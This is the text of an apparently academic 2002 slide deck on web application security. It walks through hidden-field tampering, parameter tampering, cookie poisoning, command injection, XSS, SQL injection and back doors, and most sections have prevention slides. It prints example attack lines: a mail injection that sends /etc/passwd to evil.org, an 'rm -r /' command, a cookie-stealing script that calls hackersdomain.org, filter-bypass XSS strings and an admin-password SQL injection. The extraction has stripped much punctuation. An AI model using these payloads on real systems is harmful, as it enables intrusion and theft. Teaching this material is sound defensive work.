Application Security

1
Application Security

• Bill Chu
• August 2002

2
Web applications

• Web applications is pervasive
• Customers love it! (e.g. driver license renew,
  grade entry, banking, trading stocks, airline
  reservation, hotel reservation, buying books,
  library .)
• They are typically outside of fire walls

3
Anatomy of a web applicationSanctum systems
Data
Applications e.g. ORACLE, DB2
Database
Applications e.g. SAP, ORACLE
Backend systems
Custom code e.g. servelet, jsp, asp
frontend systems
Off the shelf application e.g. websphere
Web Server
User interface code
Custom code e.g. html, forms, javascript
Valid Input
Browser
4
Web application threatsSanctum systems
Data
Code, Web server, Front end system, Back end
system or database flaws resulting in
unauthorized access of privileged accounts, the
OS, network, or sensitive data and may result in
denial of services.
Database
Backend systems
frontend systems
Web Server
User interface code
Invalid input Code Data
Browser
5
Perfecto Technologies Survey
6
Hidden Field Manipulation

• Find vulnerable form with hidden input
• Save HTML file to disk, modify hidden input
• Execute HTML file from disk, submit form
• Experience manipulated form results

7
Hidden Field Manipulation

• Open the html page within HTML editor
• Locate the hidden field (e.g., lttypehidden
  nameprice value99.95gt
• Modify content (e.g., lttypehidden nameprice
  value1.00gt
• Save the html file locally and browse it
• Click buy button to perform electronic shop
  lifting via hidden manipulation

8
Original HTML Form
9
Modified HTML Form
10
View Executed Results

• View /etc/passwd file as modifed form requested
• Use Unix crack to break encrypted passwords
• Obtain access to root accounts

11
Prevention of Example

• Never trust hidden input values
• Proved that it is easy to change values
• Never allow unsanitized inputs to be used for
  viewing other files via script
• in this case we viewed /etc/passwd instead of the
  normal guestbook results file

12
Parameter Tampering

• Find vulnerable form with unchecked input
• Add malicious input to input form
• Submit form
• Gain unauthorized access

13
Parameter Tampering

• Failure to confirm the correctness of CGI
  parameters embedded in a hyper link can be easily
  used to break the site security. For example, a
  search CGI may accept a template parameter
• Search.exe?templateresult.htmlqsecurity
• By replacing the template parameter, one may be
  able to obtain access to any file, e.g.
• Search.exe?template/etc/passwdqsecurity

14
Input Malicious Values
15
Original / Attacked Account File
Newly created user
Injected user with admin priv.
16
Prevention of Example

• Always test all input parameters for validity
• Length of input (checked on server side, not
  ltinput sizexxxgt)
• Strip input characters (e.g. no \n, etc)

17
Cookie Poisoning

• Many web applications use cookies in order to
  save information (user id, time stamp, etc.) on
  the client's machine.
• For example, when a user logs into many sites, a
  login web script validates his user name and
  password and sets a cookie with his numerical
  identifier.
• When the user checks his preferences later,
  another web script (say, preferences.asp)
  retrieves the cookie and displays the user
  information records of the corresponding user.
• Since cookies are not always cryptographically
  secure, a hacker can modify them by modifying the
  cookie file, thus fooling the application.

18
Cookie Poisoning

• Find web application which trusts cookie data
• Modify cookie data
• Exploit
• Hijack other sessions
• Grant privileges

19
Original Website
20
Cookie Modification
21
Gain Access of Other User
22
Prevention of Example

• Encrypt cookie contents
• Hash cookie contents (risky w/o validation of
  session/user)
• Always validate user by checking the session user
  was granted permissions
• Store all data excluding session-id on server
• Store session-id and hash in cookie

23
Stealth Commanding

• The use of server side executions (e.g. eval or
  system Perl commands, SQL queries) enable
  someone to plant Trojan-horses in form
  submissions and run malicious or unauthorized
  commands
• Take a postcard site as an example. The user
  fills in a postcard sending form, including the
  recipient name. The site then emails the
  recipient with the postcard. The CGI used for
  this purpose was written in Perl, and it had the
  following statement in it
• open (MAIL, "mailprog recipient". It is easy
  to see how, by filling in the recipient field
  with "hacker_at_evil.orglt/etc/passwd," the hacker
  will be mailed the password file.
• Shell commands can be executed as well by
  sending "xrm -r /", deleting the entire site.

24
Forceful Browsing

• Forceful Browsing Web servers will send any file
  to a user, as long as the user knows the file
  name and the file is not protected. Therefore, a
  hacker may exploit this security hole, and "jump"
  directly to pages. For example,
• A registration page had an HTML comment
  mentioning a file named "_private/customer.txt".
  Typing "http//www.xxx.com/_private/customer.txt"
  sent back all customers' information.
• Appending "" or ".bak" or ".old" to CGI names
  may send back an older version of the source
  code. For example, "www.xxx.com/cgi-bin/admin.jsp
  " returns admin.jsp source code.

25
Debug Information Leakage

• Find Debug Code
• Experiment with debug code and parameters
• Experience Information Leakage

26
Debug Script Example
27
Debug Script Information Leak
28
Backdoors and Debug Options

• Many applications contain code left for debugging
  purposes, and some even contain code left by
  disgruntled employees.
• In a certain site, parameter tampering with the
  session token produced a page saying "we lost
  you, please re-login."
• That page presented a link for re-login which
  actually was a debug option. It logged in the
  hacker with no password required furthermore,
  it logged in the hacker as the site's QA person.

29
Debug Information Leakage

• Find Debug Code
• Experiment with debug code and parameters
• Experience Information Leakage

30
Debug Script Example
31
Debug Script Information Leak
32
Configuration Subversion

• Misconfiguring web servers and application
  servers is a very common mistake. The most common
  misconfiguration is one that permits directory
  browsing.
• Hackers can utilize this feature in order to
  browse the application's directories (such as
  cgi-bin/) by simply typing in the directory name.
  
• In the case of a misconfigured ColdFusion
  application server, accessing /CFIDE/administrator
  /index.cfm will invoke an administrator console
  without requiring a password.

33
Vendor-assisted Hacking

• Because product vulnerabilities are published
  quickly over the web today, and because
  installing the latest vendor patch usually is not
  a high-priority issue, it almost always is
  possible to exploit vulnerable products.

34
Secure Web programming techniques

• Do not trust client side data
• Hidden HTML form elements are not hidden
• Password form elements are still in the clear if
  not using SSL
• Use solid cryptographic algorithms
• Use trusted authentication mechanisms
• Re-authenticate before issuing password or
  executing critical transactions
• Do not host uncontrolled data on a protected
  domain
• Never validate data client-side
• Sanity check and qualify all incoming data
  (e.g.)
• If data is supposed to be only yes or no, through
  away other options
• Check range and other data integrity rules
• Check file paths
• Dont use anything you dont understand
• Pay particular attention to special characters (a
  major source of problems) e.g.
• ../(directory traversal), ? (file grabbing),
  (command appending), gt lt ? (piping),

35
Cross-Site Scripting

• Most web browsers have the capability to
  interpret scripts embedded in web pages
  downloaded from a web server. Such scripts may be
  written in a variety of scripting languages and
  are run by the client's browser. Most browsers
  are installed with the capability to run scripts
  enabled by default.
• Sites that host discussion groups with web
  interfaces have long guarded against a
  vulnerability where one client embeds malicious
  HTML tags in a message intended for another
  client.
• For example, an attacker might post a message
  like
• Hello message board. This is a message.ltSCRIPTgtma
  licious codelt/SCRIPTgtThis is the end of my
  message.
• When a victim with scripts enabled in their
  browser reads this message, the malicious code
  may be executed unexpectedly. Scripting tags that
  can be embedded in this way include ltSCRIPTgt,
  ltOBJECTgt, ltAPPLETgt, and ltEMBEDgt.
• When client-to-client communications are mediated
  by a server, site developers explicitly recognize
  that data input is untrustworthy when it is
  presented to other users. Most discussion group
  servers either will not accept such input or will
  encode/filter it before sending anything to other
  readers.

36
Cross-Site Scripting (XSS)

• Hacker
• Locate web page with unchecked input
• Embed poisoned link to web page or embedding
  scripts
• Innocent Victim
• Follow poisoned link or the scripts executes
  upon page load
• Automatic execution of script
• Leakage of information (or worse!)

37
Distribute Poisoned Link
38
User Follows Poisoned Link
39
Real Attack

• Javascript alert(Hacked by Pony) would be
  changed
• Leak cookie data to hacker
• Window.open(http//hackersdomain.org/getvictimcoo
  kie?cookiedocument.cookie)

40
Prevention of Example

• Web Server
• Always sanitize input data
• Encrypt cookie data
• User
• Turn off client-side scripting

41
Cross-site scripting examples

• Slemko's idea was to combine cross-site
  scripting vulnerabilities with the fact that, for
  up to 15 minutes after someone signs in to
  Hotmail, that person's authorization extends to
  every other Passport service, including Wallet.
  In this case, if a victim reads the specially
  crafted e-mail within 15 minutes of signing in,
  the code contained in the message retrieves all
  the person's cookies, bits of code that identify
  the user. The attacker can then use those cookies
  to access other services within those 15 minutes.
  -- Netnews.com Nov. 2001
• Cross-site scripting allows hackers to run
  dangerous code within a Net user's browser or
  email client. By exploiting the vulnerability,
  "malicious users can fool other users' Web
  clients...which allows them to do things such as
  stealing that client/server's cookies," Basically
  an attack on a Schwab user could allow the hacker
  to have access to all of the customer's account
  actions--such as buying and selling stocks or
  transferring funds while the customer was logged
  on to his account. -- Netnews.com Dec. 2000

42
Cross-Site Scripting Contd

• An attacker may construct a malicious link such
  as
• ltA HREF"http//example.com/comment.cgi?
  mycommentltSCRIPTgtmalicious codelt/SCRIPTgt"gt Click
  herelt/Agt
• When an unsuspecting user clicks on this link,
  the URL sent to example.com includes the
  malicious code. If the web server sends a page
  back to the user including the value of
  mycomment, the malicious code may be executed
  unexpectedly on the client. This example also
  applies to untrusted links followed in email or
  newsgroup messages.
• This actually have happened to reputable
  companies such as Microsoft, Schwab,
  (exmaple.coms).
• Abuse of other tags
• In addition to scripting tags, other HTML tags
  such as the ltFORMgt tag have the potential to be
  abused by an attacker. For example, by embedding
  malicious ltFORMgt tags at the right place, an
  intruder can trick users into revealing sensitive
  information by modifying the behavior of an
  existing form.
• Other HTML tags can also be abused to alter the
  appearance of the page, insert unwanted or
  offensive images or sounds, or otherwise
  interfere with the intended appearance and
  behavior of the page.

43
Cross-Site Scripting Contd

• SSL-Encrypted Connections May Be Exposed
• The malicious script tags are introduced before
  the Secure Socket Layer (SSL) encrypted
  connection is established between the client and
  the legitimate server. SSL encrypts data sent
  over this connection, including the malicious
  code, which is passed in both directions. While
  ensuring that the client and server are
  communicating without snooping, SSL makes no
  attempt to validate the legitimacy of data
  transmitted.
• Because there really is a legitimate dialog
  between the client and the server, SSL reports no
  problems. Malicious code that attempts to connect
  to a non-SSL URL may generate warning messages
  about the insecure connection, but the attacker
  can circumvent this warning simply by running an
  SSL-capable web server.
• Attacks May Be Persistent Through Poisoned
  Cookies
• Once malicious code is executing that appears to
  have come from the authentic web site, cookies
  may be modified to make the attack persistent.
  Specifically, if the vulnerable web site uses a
  field from the cookie in the dynamic generation
  of pages, the cookie may be modified by the
  attacker to include malicious code. Future visits
  to the affected web site (even from trusted
  links) will be compromised when the site requests
  the cookie and displays a page based on the field
  containing the code.

44
Cross-Site Scripting Contd

• Attacker May Access Restricted Web Sites from the
  Client
• By constructing a malicious URL an attacker may
  be able to execute script code on the client
  machine that exposes data from a vulnerable
  server inside the client's intranet.
• The attacker may gain unauthorized web access to
  an intranet web server if the compromised client
  has cached authentication for the targeted
  server. There is no requirement for the attacker
  to masquerade as any particular system. An
  attacker only needs to identify a vulnerable
  intranet server and convince the user to visit an
  innocent looking page to expose potentially
  sensitive data on the intranet server.

45
Cross-Site Scripting Solutions

• Solutions for Users
• None of the solutions that web users can take are
  complete solutions. In the end, it is up to web
  page developers to modify their pages to
  eliminate these types of problems.
• However, web users have two basic options to
  reduce their risk of being attacked through this
  vulnerability. The first, disabling scripting
  languages in their browser, provides the most
  protection but has the side effect for many users
  of disabling functionality that is important to
  them. Users should select this option when they
  require the lowest possible level of risk.
• The second solution, being selective about how
  they initially visit a web site, will
  significantly reduce a user's exposure while
  still maintaining functionality. Users should
  understand that they are accepting more risk when
  they select this option, but are doing so in
  order to preserve functionality that is important
  to them.

46
Cross-Site Scripting Solution

• Web site administrators and developers can
  prevent their sites from being abused in
  conjunction with this vulnerability by ensuring
  that dynamically generated pages do not contain
  undesired tags.

47
Dangerous HTML tags

• ltAPPLETgt
• ltBODYgt
• ltEMBEDgt
• ltFRAMEgt
• ltFRAMESETgt
• ltIFRAMEgt
• ltILAYERgt

• ltMETAgt
• ltOBJECTgt
• ltSCRIPTgt
• ltSTYLEgt
• ltSRCgt
• ltHREFgt
• ltTYPEgt

48
Script filtering considerations

• Replace all script tags
• ltIMG SRCjavascriptgt, replace javascript
  string in all SRC HREF attributes
• ltIMG SRCjavas
• criptgt, filter white spaces before key work
  string search
• ltIMG SRCjavasc09riptgt, many other
  characters will work also! Filter these
  characters before the key word search.
• ltstyle TYPEtext/javascriptgt JS EXPRESSIOn
  lt/stylegt, replace all javascript with
  java_script
• ltSTYLE typetext/cssgt _at_import url(http//server/ve
  ry_bad.css) lt/stylegt. Filter and replace _at_import
• ltP STYLEleftexpression(eval())gt, Filter
  left, expression and eval
• ltIMG SRCjavaltxxxgtscriptgt if ltxxxgt were to be
  removed, replace, dont remove

49
Cross-site scripting contd

• XML and SOAP are going to increase these issues

50
Filter bypassing

• Client-side scripting attacks requires the
  execution of Javascript, Java, VBScript, ActiveX,
  Flash etc.
• Assume web applications accept HTML

51
Cookie authentication guidelines

• Use SSL for username/password authentication
• Do not store plain text or weakly encrypted
  password in a cookie
• The cookie should not be re-used or re-used
  easily by another person
• Password or other confidential info should not be
  able to be extracted from the cookie
• Cookie authentication credential should NOT be
  valid for an over extended length of times
• Set up booby trapped session tokens that never
  actually get assigned but will detect if an
  attacker is trying to brute force a range of
  tokens.
• (Whenever possible) Tie cookie authentication to
  an IP address (part or all of the IP address)
• Adding salt to your cookie (e.g. hashed http
  header of a particular browser, MAC address)
• Re-authenticate whenever critical decisions are
  made
• Over write tokens upon logout.

52
Re-password authentication

• When performing a critical action
• Use password re-confirmation before the action is
  carried out
• YES or NO button to confirm if the action is what
  was intended
• This prevents malicious scripts from quickly
  sending a CGI request and have an entire database
  cleared of its contents.

53
Direct SQL commands

• Example Changing SQL values
• UPDATE usertable SET pwdINPUTpwd WHERE
  uidINPUTuid
• Normal input http//www.victim.com/cpwd?opwdypw
  dxuidtestuser
• Malicious input http//www.victim.com/cpwd?opwdy
  pwdxuidtestuseroruidlike25admin25
• Result changed administrative password.
• Mitigation validate input

54
URL manipulation

• Valid transaction
• http//www.victim.com/tx?acctnum12debitamt100
• Malicious transaction
• http//www.victim.com/tx?acctnum12creditamt1000
  000
• Mitigation whenever parameters are sent, check
  session token

55
Back doors

• Debugging options
• Comments
• Default accounts
• Remote administration options